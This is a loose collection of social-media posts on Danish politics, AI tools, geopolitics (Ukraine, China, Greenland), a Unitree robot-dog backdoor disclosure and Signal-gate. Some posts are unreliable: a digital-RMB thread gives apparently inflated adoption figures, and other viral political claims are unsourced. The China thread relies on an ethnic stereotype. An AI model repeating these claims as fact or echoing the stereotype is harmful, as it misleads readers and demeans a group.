Det får aldrig konsekvenser for ét eneste menneske udenfor Folketinget, hvad de danske partier siger og mener om den sag. Alligevel opfører man en intens debat i folketingssalen Det eneste formål er, at Enhedslisten får fortalt sine vælgere, at de støtter Palæstina. Og alle andre partier stiller op, fordi de er bange for at få kritik for at være fraværende, selvom de godt ved, at det er komplet spild af tid.
De fleste af os elsker at kunne gøre en forskel for mennesker. Men jeg er kørt sur i at stresse rundt fra den ene meningsløse aktivitet til den anden med en altid overfyldt kalender for at deltage i teaterstykker af denne karakter.
Vi bestemmer selv, og ingen gør det mod os. Folketinget og partierne evner desværre ganske simpelt ikke at forbedre sig og arbejde effektivt til gavn for borgerne.
Steal this o3 prompt: Drop your business info into it, and it'll instantly map your competitors and hand you a ranked, actionable list of growth moves you’re not doing yet.
--
You are a top-tier strategy consultant with deep expertise in competitive analysis, growth loops, pricing, and unit-economics-driven product strategy. If information is unavailable, state that explicitly.
{{COMPANY}}{{INDUSTRY}}
{{Brief one-paragraph description of what the company does today, including
key revenue streams, pricing model, customer segments, and any known
growth tactics in use}}
{{List or paragraph of the biggest obstacles you’re aware of – e.g.,
slowing user growth, rising CAC, regulatory pressure}}
1. Map the competitive landscape:
• Identify 3-5 direct competitors + 1-2 adjacent-space disruptors.
• Summarize each competitor’s positioning, pricing, and recent strategic moves.
2. Spot opportunity gaps:
• Compare COMPANY’s current tactics to competitors.
• Highlight at least 5 high-impact growth or profitability levers
**not** currently exploited by COMPANY.
3. Prioritize:
• Score each lever on Impact (revenue / margin upside) and Feasibility
(time-to-impact, resource need) using a 1-5 scale.
• Recommend the top 3 actions with the strongest Impact × Feasibility.
- Go VERY deep. Research far more than you normally would. Spend the time to go through up to 200 webpages — it's worth it due to the value a successful and accurate response will deliver to COMPANY.
- Don't just look at articles, forums, etc. (though you should definitely look at these, of course) — anything is fair game... COMPANY/competitor websites, analytics platforms, etc.
Return ONLY the following XML:
First Shopify.
Now Duolingo.
If you’re a “digital native business” (ie born in the cloud, born on mobile - think Pinterest, Airbnb, Stripe) and haven’t gotten the memo, here is the literal memo. https://t.co/0dFhgJJLFP
OpenAI o3's ability to guess locations from images is the most dystopian thing I've ever seen.
These images are regular, nondescript pictures from India most locals wouldn't identify.
o3 zooms, reads text, searches and reasons for up to >10 minutes!
Then I tried GeoGuessr... https://t.co/RBFpNK2jDn
The real story of Pakistan’s nuclear program isn’t the one written in Western textbooks. It wasn’t charity from China. It wasn’t a gift from the West. It was built through black markets, survival networks, and ruthless statecraft under siege. A blueprint for survival in a world where only force and will are respected.
Guys I have bad news.
Extraordinarily bad news.
We have 30 to 50 years before we get to full Post-Labor Economics.
The bottleneck isn't intelligence, or even robotics.
It's economic scale.
We ran all the numbers, and ran them again.
The primary question: "how long does it take to build a billion humanoid robots?"
Even if we double production capacity every 3 years, it takes two decades.
But there are multiple constraints: rare earth metals for batteries, actuators, and sensors are the biggest one by far.
Next is economies of scale.
For comparison, it took 92 years for the automobile to reach full saturation: 1900 to 1992. Now, we had a car culture by the 1950s... But that's still five decades and two industrial wars worth of innovation.
We did everything we could to speed it up: pneumatic hybrid robots are a no go. Air tanks need to be swapped every 20-30 minutes.
The ONE saving grace might be exotic actuators like electropolymer muscles. Right now, they just aren't strong enough. BUT, if we can make them stronger and cheaper, our petrochemical industrial base could accelerate the deployment of humanoid robots by a decade or two.
So what does this mean?
We'll hit AGI and ASI long before we can automate away all human labor. We might even hit the Singularity before we can scale up enough robots to replace all jobs.
Here's my current timeline:
2025 to 2030: Collapse of knowledge work. The "KVM Rule" applies: any job you can do entirely with a keyboard, video, and mouse will be fully replaced.
2030 to 2040: Droid scaling up starts to really make a dent.
2040 to 2060: We'll finally reach global labor substitution with robots.
What does this mean? There are a few jobs that are going to stick around for the foreseeable future:
1. Skilled labor. Robots will be able to do your job as a mechanic or welder very soon. However, there simply won't be enough robots to go around.
2. High Accountability Jobs: doctors, lawyers, comptrollers, financial advisors - all jobs that require license, insurance, and accountability. Also called statutory jobs (law requires a human or does not contemplate non-human labor)
3. Meaning Jobs: authenticity and sentimental premium. Celebrities, performers, influencers, athletes, priests, philosophers, and some educators, caretakers, etc
4. Complex Relationship Jobs: politicians, diplomats, negotiators, governance, account executive.
5. Capitalists. The ownership class will be fine. Always is.
So what can you do?
Upskill and reskill. Join the meaning economy or get into skilled trades. All you smart desk jockeys would make great HVAC techs, mechanics, linemen, and more. But just keep in mind you're going to have a lot of stiff competition.
There are a few silver linings to this news:
FIRST it means that we have longer to adapt to total economic upset. Yes, AI and robots will hypothetically be able to take all jobs within 5 years, but human bodies are still more abundant, more portable, and more energy efficient. This is a VERY deep moat.
SECOND it means that a Terminator style takeover is economically impossible. MIL-SPEC and NIST standards mean that ASI can't hack our hardware and even if we have a few AI bots, tanks and aircraft, humans win on sheer volume for many decades to come - more than long enough to solve alignment.
HOWEVER it means we'll have ordinary jobs for a lot longer than we'd like. Deployment will be uneven, so some economies will saturate with robots sooner than others.
BUT this gives PLE an avenue. Create ESOP and cooperatives that own a bunch of robots. That means we collectively buy, own, and operate robots for everything from construction to leasing to businesses, and we collect the rent. Or we tax the crap out of them.
What do you think? Can we figure out a faster way to ramp up humanoid robot production or are we doomed to skilled and unskilled blue collar work for the next generation?
Rutte: Any deal on Ukraine must be durable and lasting. Putin must know that trying to seize more Ukrainian or NATO territory will bring a devastating response.
That’s why security guarantees are key. I’m optimistic we’ll get there, thanks to President Trump’s leadership. 5Х https://t.co/L8n3YVnOyP
November 22, 1994: US President Bill Clinton thanks Ukraine for giving up its nuclear weapons. In return, the USA will stand by Ukraine's side to preserve its independence, sovereignty and territorial integrity in the future. Ukraine and the USA share a vision of freedom. https://t.co/YqMSzU81XD
I am going to outline the one (and only) strategy by which America can beat China.
While I personally think the two great countries can and should learn to cooperate and co-exist, the governing midwits of our current age don't think that way, so I'm going to lay out the battle plan.
Beware, China is probably reading this so you get one chance.
First, realize that China outmatches the US in almost all aspects of relevant national power today, both in main KPIs ("number of factories") and key drivers ("ability to build factories"). If you don't think so, you're too far behind the real story and should just save time and close the thread now. You're ngmi.
For everyone else:
The reason China is ahead of the US is because China is exceptionally good at optimizing performance within any well-understood heuristic framework. What that means is that everywhere the rules of the game are known, China is going to beat the US. They're better, more numerous, more well-organized, and they have a better (collective) attitude.
The simple form of this is "China is good at copying" except that's not really it. It's more like "if China knows the rules at all, it will beat you at the game."
Not to be lightly racist about it, but think of the Asians you know in real life: any time the standards of performance and the parameters of the game are well-understood, they always top the leaderboard.
And because the world is settled, and most of the geopolitical and techno-industrial game is known, China is just going to win. (They have already won at a lot of it; they're just hoping the US doesn't notice)
Don't go thinking "Oh, the US simply needs to pull a heroic turnaround and beat those primitive commies." Those primitive commies are the ones pulling the heroic turnaround. And besides, the US will need to be heroic to pull off even this plan I'm about to tell you.
What China is less good at is the utterly wild innovation that characterizes US culture. The Chinese themselves acknowledge this. They are innovative, but they are not as innovative as the US, which at its best is wildly, incredibly innovative and fearless in the extreme.
China is brave and courageous, the US is wild and crazy. That is the difference.
The problem is that innovations at the margins of current technology are not enough to yield a civilization-scale advantage to the US in this or the next generation. You think you're just going to develop AGI/ASI first? China will have it the next week and they'll have ten of them. It's not going to be in AI.
There is one area where the US still maintains a decisive lead, one that cannot be immediately replicated (relatively-speaking), and it contains the inherent leverage needed to leapfrog the US economy and civilization ahead of all others.
It is reusable self-landing rocketry.
Yes, China is also currently working on this, but it will be at least a couple years before they can do what the US (through SpaceX) can do. Right now, SpaceX on its own is the world leader in both annual launch mass and number of launches.
In Q1 2024 (most recent data I could find; maybe @elonmusk has better numbers), SpaceX itself lofted 429,125 kg. China's CASC was a distant second, at 29,426 kg, less than 7% of SpaceX. SpaceX launches over an order of magnitude more mass than China does. This is the only major area where the US maintains a decisive order-of-magnitude advantage over China.
Not only that, but remember what I said earlier about KPI plus key drivers? The key drivers are what affect the likely rate of change. It doesn't matter if your current state is 2x of your competitor if that competitor is rising 10x as fast. SpaceX is ahead and has the higher rate of growth, and will accelerate once Starship is available.
In other areas, China has the higher rate of growth and is ahead.
Reusable space launch is the key industrial area that the United States has a decisive current advantage in and must now push forward in all ways possible.
Why?
Because unleashing low-cost space launch has allowed the US and US-based companies the exclusive opportunity to achieve asteroid mining.
This is the only outcome within current reach that has a chance of yielding enough payback for the US to leapfrog China.
Successfully lofting sufficient mining equipment, taking it to promising asteroids, mining it for ores and returning it will yield literally trillions of dollars.
And because true power and value are actually about having things, and not money, it's not the trillion of dollars, but the fact that US-based companies will bring back untold amounts of precious and commodity minerals. Even certain single asteroids contain more of these minerals than the entire Earth's reserves of those materials.
(If your reaction is "that will crash the market," your understanding of economics is shallow and you should also just close the window)
US industry will be equipped with and have control over vast amounts of valuable basic materials, at a scale never seen on Earth. Forget Greenland, the current US rocketry advantage gives it a leg up on this race to the most economically valuable real estate in the solar system.
My estimated ultra-aggressive timetable for this puts it at 7 years:
2 years: key technology development and testing
2 years: first mining mission
3 years: scaling and commercialization
(ref: https://t.co/37AkpFR7GX)
This means that putting the country's efforts on this path has to happen in this Presidential administration.
It's all well and good to have grand plans, but setting them within the scope of that's already understood ("reshoring manufacturing jobs") is not going to work when played against an opponent who is more well-resourced, well-practiced, and operates smartly. If you're going to execute a grand plan to make America Great - truly GREAT - again, you need to pick the right goals for your grand plans.
The US will only overcome China by changing the rules of the game, by opening the arena and finding a new place to compete, where the variables are radically different.
The US is not smarter than China. The US is not more hard-working than China. The US is crazier than China.
A week or so ago, I wrote a half-serious comment about one of the underrated cultural drivers of China's unusual success. Well, America has one too, and it is an asymmetric talent. America thrives best in total fucking chaos, in the wild untamed expanse of the unknown.
I don't know why this is, maybe it's the generations of selection for immigrants (from everywhere, including China itself!) who are willing to cross an ocean and forge a new life with nothing. Americans are just the best in the world at jumping into a totally crazy situation, figuring out how to adapt, and then figuring out how to scale up organized structures so that everyone can thrive in it.
Yes, chaos is painful, and there are many reasons why calm suburbs are nicer but do not forget that this is America's primary and most enduring strength.
The US is not going to beat China in a kinetic war (maybe it will, but do you want to take the gamble?). The US is not going to beat China in an economic war. All of those things are a known terrestrial game, and China is very very good at playing any known game.
But the US has a decisive cultural and technological advantage when competing on a truly new frontier of unknowns. And there just so happens to be one that SpaceX has opened the door to, and handed to the US a decisive early lead - and that is space launch.
I am confident enough in this prediction that I am willing to have people call me on it in a decade. Go ahead, pull out your little reminder apps.
Either the US makes this happen now and brings home a trillion dollars of minerals in the sky and locks down the most promising asteroids, or...
.... it doesn't. It dithers and hems and haws and fights its little culture war, and in 2-3 years China masters reusable rockets and China goes and mines all the asteroids and the future lightcone of mankind is mostly Chinese because believe me, China will construct those space habitats and they will make very good use of all those minerals.
(I don't, like the small-minded hawks, think that China will dominate and oppress the US. I just think China will leave the US to rot, and the US will go the way of the Europeans today)
===
Other details:
Moonbase? Yes, moonbase for refueling and maybe He-3, but it's just something we do on the way. Do not just stop at the Moonbase.
Mars settlement? I love the romance of settling Mars, but the honest story is that it's harder and the economic payback is not as clear. There's not as much on Mars that you can affordably ship back - it's not like New World colonization: even gold (if we found it on Mars) would not be worthwhile to ship back.
The asteroids are different: there's tons of minerals, and they're high up in the gravity well so you can just drop them back down.
Also, I think the US would prefer to be the nation controlling the "dropping back down towards Earth" of very heavy things from up in the gravity well, you know?
===
Disclosure: I am long SpaceX stock
It is reported that the son of CIA deputy director Julianne Gallina Gloss, 21-year-old Michael Gloss died in Ukraine as a Russian soldier. He signed a contract with Russia’s MoD. His father, Iraq vet Larry Gloss, develops secure software for U.S. and NATO forces https://t.co/HmMyAnym5N
Jeg elsker vores ytringsfrihed🙏🏼
Så lige Marie Krarup i Debatten på DR2 om krigen i Ukraine - og WOW! hvor er det vigtigt, at man i det her skønne land kan stå på TV i bedste sendetid og sige så fuldstændigt rablende vanvittige ting!
Det skal frem i lyset. Og så taler vi om det.
Uden at kaste med brosten eller med mennesker ud af vinduer i meget høje huse.
Sky News (@SkyYaldaHakim): “But you do admit, you do admit sir, that Pakistan has had a long history of backing and supporting and training and funding these terrorist organizations?”
Pakistan Def. Minister: “Well, we have been doing this dirty work for United States for 3 decades.”
In an interview with Germany's ARD television in 2008, Putin stated that Moscow recognizes all of Ukraine's borders, and that there is no issue of ethnic conflict in Crimea. He said the question about Crimea has a provocative undertone.
https://t.co/6uH9kxCOXp
1/
Today, Friedrich Merz says he wants Europe to gain complete "independence" from the US, and has put forward the idea of creating a new European defense union to replace NATO, including nuclear cooperation with France and the UK.
He is hawkish on Russia and, apparently, intends to speak out against Trump just as decisively.
https://t.co/tq5E4lcwBf
THE KING OF DENMARK 🇩🇰 SPEAKS OUT ON GREENLAND 🇬🇱
The 🇩🇰 royal family has protected Greenland more than 600 years.
Recently, King Frederik X of 🇩🇰 spoke out about #Greenland.
A thread about our King, what he said, and why his bond with the Inuits is UNBREAKABLE!
🧵1/12 https://t.co/VxxuLhVYMq
Geoffrey Hinton says the more we understand how AI and the brain actually work, the less human thinking looks like logic.
We're not reasoning machines, he says. We're analogy machines. We think by resonance, not deduction.
“We're much less rational than we thought.”
A Russian teacher felt compelled to report to the authorities that three students said they were opposed to the war.
All three were sentenced to three years in jail for this.
This story captures the sick, Hitlerian nature of today's Russia under Vladimir Putin and his kleptocratic bonzes.
HOLY CRAP, a new super tiny 1.6B param voice model just dropped that seems to.. outperform 11labs!? 😵💫
From Nari-labs, Dia is an Apache 2.0 voice model, that can generate laughs, sniffs and emotions, copy an existing voice and is effectively real time on larger GPUs: https://t.co/rWDN25rOpM
Here you are:-
Over 650,000 children in Denmark, followed for more than a decade
No increased risk of autism after MMR vaccination - even among kids with higher genetic risk.
Large sample, rigorous controls, registry-based data (not self-reported).
The study definitively found no link between the MMR vaccine and autism.
Vaccines do not cause autism.
Hviid et al., 2019 — Annals of Internal Medicine.
Measles, Mumps, Rubella Vaccination and Autism: A Nationwide Cohort Study.
Link: https://t.co/OYjj3k2Ik1
“Bringing civilization,” they said.
According to imperial legend, Russia graciously brought culture and enlightenment to Finland and the Baltics. Yet this pesky little map from 1897—the first and only census of the Russian Empire—tells a slightly awkward story.
See that dark red in the northwest? That’s where people could actually read. Estonia, Latvia, Lithuania, and Finland were far more literate than most of the Empire, including central Russia itself. Meanwhile, Moscow and its surroundings are chilling in the 20–40% literacy zone, wondering what a book even is.
So next time someone tries to tell you that imperial Russia “uplifted” the Baltics and Finland, just smile, nod, and maybe show them this delightful cartographic roast from 1897.
Culture-bringers, indeed
Creatine is your brain’s emergency power supply—rapidly restoring ATP and supporting mitochondria when energy is depleted.
In randomized trials, it preserves cognition during severe sleep deprivation.
Here’s how to use creatine to stay sharp when it matters most 🧵 1/11
[1/6] Recent models like DUSt3R generalize well across viewpoints, but performance drops on aerial-ground pairs.
At #CVPR2025, we propose AerialMegaDepth (https://t.co/tDGMVXAFa7), a hybrid dataset combining mesh renderings with real ground images (MegaDepth) to bridge this gap.
wow.. text to 3D would AI is here
you can generate 3D assets using text/image and build up a 3D world..
and even auto rig characters.
link in comment https://t.co/ZCegzjKwvO
🧵 THREAD: A federal whistleblower just dropped one of the most disturbing cybersecurity disclosures I’ve ever read.
He's saying DOGE came in, data went out, and Russians started attempting logins with new valid DOGE passwords
Media's coverage wasn't detailed enough so I dug into his testimony:
The man who made $1 Billion from one tweet.
This is Ryan Graves.
• Replied to Travis Kalanick's tweet in 2010.
• Became Uber’s first employee.
• Got 5% equity—now worth $1.4 billion.
Here’s how a single tweet turned him into a billionaire: https://t.co/4NhQJmO0N5
we're building a fully open-source tracking library!
- combo object detectors from top model libraries (ultralytics, transformers, mmdetection) with tracker of your choice
- for now we support SORT and DeepSORT; more trackers coming soon
link: https://t.co/9Fam5U1zuC https://t.co/NZ95grX13L
The most enigmatic structure in cell biology: the Vault.
Often missing from science text books due to the mysterious nature of their existence, it has been 40 years since the discovery of these giant, half-empty structures, produced within nearly every cell, of every animals, on the planet.
Segment plants using @ultralytics YOLO11 + @AIatMeta SAM 2🌱
No manual segmentation, I used SAM2 for auto-annotation and later trained the YOLO11 model on the dataset.
Learn more ➡️ https://t.co/rg30T6g3gI
#plants #segmentation #ai #ml https://t.co/WIzmCtvQmR
Crack Segmentation Using @Ultralytics YOLO11
YOLO11's instance segmentation capabilities can be applied to detect and segment cracks on roads, walls, and other construction surfaces. This can support tasks such as infrastructure monitoring and building inspections by helping identify potential structural issues at an early stage.
Video source: @ultralytics / Ritesh Kanjee
—————————————
Stay ahead of the curve in engineering!
Follow the topics that inspire you on Wevolver and get a custom weekly digest packed with cutting-edge content!
Follow now: https://t.co/p2XQ5MukEX
new brain-computer interface so small it slips between your hair follicles just solved the last barrier to neural control: movement
96.4% accuracy while running.
this means AR glasses you control with thought, anywhere, anytime
1/ https://t.co/HTXQderHq1
Can’t believe no one built this sooner.
What happens when GPT-4o, Claude Sonnet , Gemini 2.5 Pro and more team up on a single problem?
This AI tool lets top models collaborate, challenge, and solve together.
Absolutely love this one. Details below 👇
1/3 https://t.co/S6tuARGhsC
imagine if twitter showed you a timeline of "spikes" in ideas. You can set alerts on parts of the overton window (these tools already exist in private labs, now the public is getting them for the first time in history), this is made with @nomic_ai https://t.co/sqc3SS9nhX
⭐This Opensource TTS is better than Elevenlabs.
✅Generate Unlimited AI Voiceover for Literally Free
🗣️Realistic human voices. You can add laughs, giggles and sighs, chuckle, cough, yawn, etc.
➡️Its completely free. All you need is a computer with Minimum 4GB VRAM Graphics card.
Comment "TTS" and I share the full guide to setup this.
MIND-BLOWING: You can now build a real, functional iOS app with one sentence.
Rork writes the code, designs the UI, and publishes to TestFlight automatically.
Here are 7 WILD examples:
UPDATE on Llama 4:
We now have support for it in https://t.co/xirHeCKZPl.
So, you can build agents that use Llama 4.
Or, if you just want to try it out, you can use this simple chat agent:
https://t.co/93I6mN8ISe
Let me know if you discover any prompts that it seems to handle particularly well.
the best researchers from Meta, Yale, Stanford, Google DeepMind, and Microsoft laid out all we know about Agents in a 264-page paper [book],
here are some of their key findings: https://t.co/vU0FaY0dhZ
Security researchers have uncovered a pre-installed, undocumented remote access tunnel in 🇨🇳 Unitree Go1 robot dogs.
Each Unitree Go1 robot dog is shipped with a preconfigured tunnel client that initiates a connection to 🇨🇳 CloudSail — a remote access platform developed by 🇨🇳 Zhexi Technology, based in China.
“Anybody with access to the API key can freely access all robot dogs on the tunnel network, remotely control them, use the vision cameras to see through their eyes, or even hop on the RPI via SSH.”
“Most of the machines are located in China, but as expected some are outside of China, apart from some residential IPs, we were able to identify several University IPs and some corporate networks from around the world.”
More than a dozen universities from the US, Canada, Germany, New Zealand, Australia, and Japan have experimented with Unitree Go1 robot dogs:
USA: MIT, Princeton University, University of Massachusetts Amherst, Carnegie Mellon University
Canada: University of Waterloo
Germany: Hochschule Coburg
New Zealand: University of Otago
Australia: UNSW Sydney, Deakin University
Japan: Shinshu University
The discovery raises serious concerns about supply chain trust, especially as these robots are widely used in academic, corporate, and even defense-related environments.
https://t.co/gcFSdwwZVh
Introducing KnowledgeTools — a gem from my private collection that lets Agents reason over a knowledge base.
It builds on the "think" tool from Anthropic and gives the model 3 new tools: Think → Search → Analyze.
By iteratively thinking, searching, and analyzing, Agents can reason over a set of documents, yielding incredible improvements over traditional and Agentic RAG.
Give it a try and let me know what you think!
Link to code below
Open-source just won...
Agent S2 is an AI agent that uses your computer like a human.
→ No fake demos
→ No terminal hallucinations
→ Just real results and it’s FREE.
Here’s why this is the future of work: 👇 https://t.co/QpGPJ1992l
*BIG BREAKING *
the People's #Bank of #China suddenly announced that the digital RMB (Renminbi, Chinese Yuan) cross-border settlement system will be fully connected to the ten ASEAN countries and six Middle Eastern countries, which means that 38% of the world's #trade volume will bypass the SWIFT system dominated by the US dollar and directly enter the "digital RMB moment". This financial game, which The #Economist called the "Bretton Woods System 2.0 Outpost Battle", is rewriting the underlying code of the global economy with blockchain technology.
While the #SWIFT system is still struggling with the 3-5 day delay in cross-border payments, the #digital #currency bridge developed by China has compressed the clearing speed to 7 seconds. In the first test between Hong Kong and Abu Dhabi, a company paid a Middle Eastern supplier through digital RMB. The funds no longer went through six intermediary banks, but were received in real time through a distributed ledger, and the handling fee dropped by 98%. This "lightning payment" capability makes the traditional clearing system dominated by the US dollar instantly look clumsy.
What makes the West even more frightened is the technical moat of China's digital currency. The blockchain technology used by the digital RMB not only makes transactions traceable, but also automatically enforces anti-money laundering rules. In the China-Indonesia "Two Countries, Two Parks" project, Industrial Bank used digital RMB to complete the first cross-border payment, which took only 8 seconds from order confirmation to funds arrival, 100 times more efficient than traditional methods. This technical advantage has enabled 23 central banks around the world to actively join the digital currency bridge test, among which Middle Eastern energy traders have reduced settlement costs by 75%.
The deep impact of this technological revolution lies in the reconstruction of financial sovereignty. When the United States tried to sanction Iran with SWIFT, China had already built a closed loop of RMB payments in Southeast Asia. Data shows that the cross-border RMB settlement volume of ASEAN countries exceeded 5.8 trillion yuan in 2024, an increase of 120% over 2021. Six countries including Malaysia and Singapore have included RMB in their foreign exchange reserves, and Thailand has completed the first oil settlement with digital RMB. This wave of "de-dollarization" made the Bank for International Settlements exclaim: "China is defining the rules of the game in the era of digital currency."
But what really shocked the world was China's strategic layout. Digital RMB is not only a payment tool, but also a technical carrier of the "Belt and Road" strategy. In projects such as the China-Laos Railway and the Jakarta-Bandung High-Speed Railway, the digital RMB is deeply integrated with Beidou navigation and quantum communication to build a "Digital Silk Road". When European car companies use digital RMB to settle freight through the Arctic route, China is using blockchain technology to increase trade efficiency by 400%. This virtual-real strategy makes the US dollar hegemony feel a systemic threat for the first time.
Today, 87% of countries in the world have completed the adaptation of the digital RMB system, and the scale of cross-border payments has exceeded 1.2 trillion US dollars. While the United States is still debating whether digital currency threatens the status of the #US #dollar, China has quietly built a digital payment network covering 200 countries. This silent financial revolution is not only about monetary sovereignty, but also determines who can control the lifeline of the future global economy!
This is very big news It means De-dollarisation in a big way. It can completely re-set the world
Whenever we trained a new model at Tesla, I would stare at our model evaluation platform to figure out where models were improving or underperforming to steer data collection - object detection in rainy scenarios improved but fire hydrants were still being mistaken for pedestrians so we’ll label another 5K fire hydrants. Data engine, the process of improving models via data, was a fairly deterministic lever to perfecting neural networks and we were able to plot model performance metrics against the growth of training datasets.
At @scale_ai, we set out to build a similar evaluation platform for LLMs. This requires the core functionality to evaluate a baseline model -> identify model weaknesses -> set up data collection campaigns -> train on new data -> confirm model improvements -> rinse and repeat.
A commonality between both platforms is the integration of model evaluation results with training data collection. At Tesla, it was crucial to understand model weaknesses and we showed failed predictions (ex. false positive pedestrian detection) to labelers to motivate each task. On the flip side, there was no need to collect “easy” examples the models were already nailing. To productize this, we were constantly updating not just models in Autopilot software builds but also models in labeling jobs for efficient curation—only label the fire hydrant if the latest pedestrian detection model triggers a false positive.
For LLMs, targeted data collection (ex. Multimodal Reasoning in Portuguese) ensures that resources are used to tackle model weaknesses rather than easier task types (ex. Singleturn Instruction Following in English). Updating models in LLM data collection campaigns is crucial to collect the most up to date preference data and the best model’s responses should be used to seed rewrite pipelines for the most efficient corrections.
A big difference is the infra required to eval LLMs. For objective classification and detection tasks, Tesla used auto evaluation against human labeled ground truth (ie. IOU) but what is the ground truth for a generated essay?
Scale’s eval approach is to use its human expert network for quality in addition to LLM as a judge and auto evals based on human generated rubrics for speed. Accumulating valuable eval prompts across an expert network, running auto evals on many model candidates and then deploying the human network on the best release candidates to verify and probe results provides efficient high-quality evals for labs to determine their next model for release.
At Tesla, data engine was critical to every Autopilot model release. While improving LLMs is much more challenging than computer vision models, the best platforms provide trustworthy measurements through humans and automation and then integrate evaluation results with training data collection. Scale tackles this with its newly launched Evaluation platform.
Truth: AI coding models are good for code execution, but not good at planning.
If you let AI plan next step while coding, it will mess up the codebase.
You can solve this by attaching a detailed "Implementation Plan"
Here's how I create my plan: ↓ https://t.co/lQQOaGSRuF
The AI generated OnlyFans workers are now scheduled to make more than thier human workers by 2026, displacing them by share numbers of 1000 to 1.
This is one of the less sophisticated ones. The better ones NO ONE CAN TELL.
The “industry”!is over. https://t.co/ETOMYHQtAx
Web scraping will never be the same!
Crawl4AI simplifies web crawling and data extraction, making it ready to use for LLMs and AI applications.
Here’s why it’s a game-changer:
🆓 Completely free and open-source
🚀 Blazing fast performance, outperforming many paid services
🤖 LLM-friendly output formats (JSON, cleaned HTML, markdown)
🌍 Supports crawling multiple URLs simultaneously
🎨 Extracts all media tags (Images, Audio, Video)
🔗 Extracts all external and internal links
But that’s not all:
📚 Extracts metadata from pages
🔄 Custom hooks for auth, headers, and page modifications
🕵️ User-agent customization
🖼️ Takes screenshots of pages
📜 Executes custom JavaScript before crawling
Link to the GitHub repo in next tweet!
_____
Find me → @akshay_pachaar ✔️
For more insights & tutorials on AI and Machine Learning.
Can you believe that this place was carved out of a stone from a mountain 1200 years ago?
The Kailasa temple in the Ellora Caves, Maharashtra, is considered one of the most remarkable cave temples in the world.
https://t.co/QF9wsS0plx
Two weeks ago, we open-sourced Agent S2 — and the response has been amazing. 🙌
Today, we’re excited to share the technical paper that dives into our agent design and key innovations.
Agent S2 blends generalist reasoning with specialist grounding for precise, long-horizon computer use tasks:
⚙️ Mixture-of-Grounding
🧠 Proactive Hierarchical Planning
📈 SOTA on OSWorld, AndroidWorld (✨new), and WindowsAgentArena (✨new)
👉 Tech blog: https://t.co/EhUqroSrxb
👉 Paper: https://t.co/3R30RqI1Pe
We are releasing OpenDeepSearch (ODS), an open-source search agent that works with any LLM. When paired with DeepSeek-R1, ODS outperforms OpenAI’s specialized model for web search, GPT-4o-Search, on the challenging, multi-hop FRAMES benchmark from DeepMind (+9.7% accuracy). https://t.co/fsKrenbZqC
So Gemini 2.5 Pro is now 100% free?!
You can literally use the world's best AI model and one-shot web apps.
All you need is a free Google account:
- Select 2.5 Pro (experimental) from the list
- Activate the Canvas option at the bottom (advanced)
- Send your prompt and enjoy
Example you can reuse:
"Develop a fully functional customer relationship management (CRM) web application tailored for a mid-sized healthcare provider. The application should streamline patient communication, appointment scheduling, record management, and billing processes. As a team of experienced full-stack web developers specializing in healthcare technology solutions, you will design and build this application. The application should feature a user-friendly interface with distinct dashboards for administrators, doctors, and staff. Include functionalities such as patient profiles with medical history, a messaging system, insurance verification, and report generation on key performance indicators like patient acquisition and appointment adherence. The front-end should be built using React. Maintain a professional, solution-oriented, and technically precise tone throughout the development process."
How real is the Multiverse? @StartsWithABang
0:00 Is there a multiverse?
3:32 The “many worlds” interpretation
4:43 The notion of infinity
8:45 Types of infinity
10:16 Degrees of freedom
17:01 Quantum mechanical spreading
19:22 The universe beyond our universe
21:46 How fast do universes get created?
27:15 The hope of the multiverse
Think you know what energy is? You probably don’t. That’s okay. Einstein probably didn’t either, at least not in the context of his own masterpiece, General Relativity. Forget the pop-sci soundbites you hear from people like NDT. Energy is NOT simply “mass in motion” or “mass because E=mc²” or even the neatly “conserved currency of our universe.” These definitions (to the degree they’re definitions) don’t hold up in dynamically curved spacetime. 👇🧵 (1/20)
Mike Waltz says they're still investigating why Goldberg was added to the group chat and "how the heck he got into the room."
The Atlantic releases a screenshot that provides a subtle clue. https://t.co/XNa8eEIAcj
I helped negotiate Budapest Memorandum.
Grenell is flat wrong.
Nuclear warheads in #Ukraine were ex-Soviet, not Russian.
Warheads in storage were in sole Ukrainian custody.
ICBMs and bombers were eliminated in Ukraine except small number sent to #Russia for debt relief. 1/2
Some breaking news in my latest post. Others pointed out that Witkoff appeared to be in Moscow when he joined the Houthi PC Group chat. Sky News has a detailed story on his timeline in Moscow. I ran that against the timeline from the Atlantic article. Witkoff was waiting for Putin when he was added. (1/2)
For the 1,000th time, here is proof that Ukraine gave up its nuclear weapons in exchange for American protection from Russia, and did so for the benefit of the world. This is from a Senate hearing, today: https://t.co/fSzUosBKp2
Sen. Kelly: DOD policy prohibits discussion of even 'controlled unclassified information' on unsecured devices. Are you both aware of that?
DNI Gabbard: I haven't read that policy
CIA Director Ratcliffe: I'm not familiar with the DOD policy https://t.co/1AcCrVNmEF
On this day in history, Russians began a three day operation that would be the largest mass deportation operation of the dark Soviet era, with the forced deportations of over 90,000 people from Latvia, Lithuania and Estonia to the far reaches of Siberia, where many eventually died in labor camps.
Russians even gave the operation a colorful name - Operation "Priboi" (Operation "Tidal Wave").
Moscow's intent in the Baltics in 1949 was the same as we see today in Ukraine—the destruction of national identity, the severing of family bonds and centuries of tradition, replacing it with "Russia".
Only this week, the Russian dictator signed a decree mandating that residents of the occupied areas of Ukraine must accept Russian passports or face deportation.
Different century. Same crimes. Same Russia.
I wouldn’t say that Will and I are battling but I do disagree. Because there are big differences between Signal and WhatsApp.
Signal is the gold standard in private comms. We’re open source, nonprofit, and we develop and apply e2ee and privacy preserving tech across our system to protect metadata and message contents. Check out to see just how little data we are able to provide in response to the subpoenas we’re not able to resist.
Now, WhatsApp licenses Signal’s cryptography to protect message contents for consumer WhatsApp. Not on WhatsApp for business. Neither consumer nor business WhatsApp protects intimate metadata—like contact list, who’s messaging whom, when, profile photo, etc. And, when compelled, like all companies that collect the data to begin with, they turn this important, revealing data over.
Don’t misunderstand—we love that WhatsApp uses our tech to raise the privacy bar of their app. Part of Signal’s mission is to set, and encourage the tech ecosystem to meet, this high privacy bar.
But these are key differences when it comes to meaningful privacy and the public deserves to understand them, given the stakes. Not have them clouded in marketing.
3 university students in Munich had a crazy idea in 2018:
Why can't Europe have its own SpaceX?
Daniel Metzler, Josef Fleischmann, & Markus Brandl weren't government officials or billionaires.
Just engineering students from Technical University Munich w/ a passion for rockets. https://t.co/hL33vDkGxu
Here is something interesting about Signal-Gate.🧐
Using Signal isn’t illegal.
But using it for official U.S. government business and failing to preserve those records?
That’s a crime.
Under the Federal Records Act, every official is required to forward all government communications—even from private apps—within 20 days.
If they didn’t?
They broke the law.
Period.
And Signal can’t save them. It stores nothing.
So if those chats are gone?
